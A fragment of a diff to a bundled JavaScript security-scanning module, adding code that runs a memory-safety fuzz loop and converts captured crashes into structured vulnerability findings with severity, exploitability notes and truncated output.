+ target.harnessEntry ? `Harness: ${target.harnessEntry}` : "",
3480
+ "",
3481
+ "---exploitability---",
3482
+ ...describeExploitabilityVerdict(exploitability),
3483
+ "",
3484
+ "---verify verdict---",
3485
+ `Verdict: ${verdict.verdict} (confidence=${verdict.confidence})`,
3486
+ verdict.evidenceKind ? `Evidence: ${verdict.evidenceKind}` : "",
3487
+ verdict.reasoning
3488
+ ].filter(Boolean);
3489
+ const confidence = reproduced ? verdict.confidence : 0.3;
3490
+ const rawOut = crash.rawOutput ?? "";
3491
+ return {
3492
+ id: randomUUID2(),
3493
+ templateId: `memsafety-${crash.kind}`,
3494
+ title: `Userspace ${exploitability.primitive} (${crash.kind}) in ${target.sourceRoot}`,
3495
+ description,
3496
+ severity,
3497
+ category,
3498
+ status: "discovered",
3499
+ evidence: {
3500
+ request: reproducerRef ?? "N/A (userspace crash artifact)",
3501
+ response: rawOut.length > 4e3 ? rawOut.slice(0, 4e3) + "\n... [truncated]" : rawOut,
3502
+ analysis: analysisLines.join("\n")
3503
+ },
3504
+ fingerprint: `memsafety:${crash.signature}`,
3505
+ confidence,
3506
+ timestamp: Date.now()
3507
+ };
3508
+ }
3509
+ async function runMemSafetyScan(opts) {
3510
+ const log = opts.logger ?? ((line) => console.log(line));
3511
+ const warnings = [];
3512
+ const playbookContext = buildPlaybookInjection(["rust_memsafety"]);
3513
+ log(`[memsafety] fuzzing ${opts.target.language} target at ${opts.target.sourceRoot}` + (opts.target.harnessEntry ? ` (harness=${opts.target.harnessEntry})` : ""));
3514
+ const loop = await runUserspaceFuzzLoop({
3515
+ ...opts.fuzz,
3516
+ target: opts.target,
3517
+ logger: log
3518
+ });
3519
+ const toolingMissing = loop.toolingMissing ?? [];
3520
+ if (toolingMissing.length > 0) {
3521
+ const note = `[memsafety] fuzz loop could not complete \u2014 unavailable prerequisite: ${toolingMissing.join(", ")}. No findings emitted (no fabricated results).`;
3522
+ log(note);
3523
+ warnings.push(note);
3524
+ }
3525
+ const details = [];
3526
+ for (const crash of loop.crashes) {
3527
+ const exploitability = classifyUserspacePrimitive(crash);
3528
+ const verdict = memCorruptionVerdict(crash);
3529
+ const finding = crashArtifactToFinding(crash, opts.target, exploitability, verdict);
3530
+ details.push({ finding, crash, exploitability, verdict });
3531
+ }
3532
+ if (details.length === 0 && toolingMissing.length === 0) {
3533
+ log(`[memsafety] fuzz loop ran ${loop.iterations} iteration(s) with no crashes captured.`);
3534
+ }
3535
+ return {
3536
+ findings: details.map((d) => d.finding),
3537
+ details,
3538
+ loop,
3539
+ toolingMissing,
3540
+ playbookContext,
3541
+ warnings
3542
+ };
2033
3543
  }
2034
3544
 
2035
3545
  export {
@@ -2039,5 +3549,20 @@ export {
2039
3549
  renderSanitizerVerdict,
2040
3550
  detectPlaybooks,
2041
3551
  buildPlaybookInjection,
2042
- classifyPromptLayerImpact
3552
+ classifyPromptLayerImpact,
3553
+ parseCrashOutput,
3554
+ runUserspaceFuzzLoop,
3555
+ maxMemSeverity,
3556
+ sniffMemPrimitive,
3557
+ classifyUserspacePrimitive,
3558
+ describeExploitabilityVerdict,
3559
+ oracleForCategory,
3560
+ oastConfirmedPayload,
3561
+ judgePovEvidence,
3562
+ generatePov,
3563
+ isReproducedMemCorruption,
3564
+ memCorruptionVerdict,
3565
+ memPrimitiveToCategory,
3566
+ crashArtifactToFinding,
3567
+ runMemSafetyScan
2043
3568
  };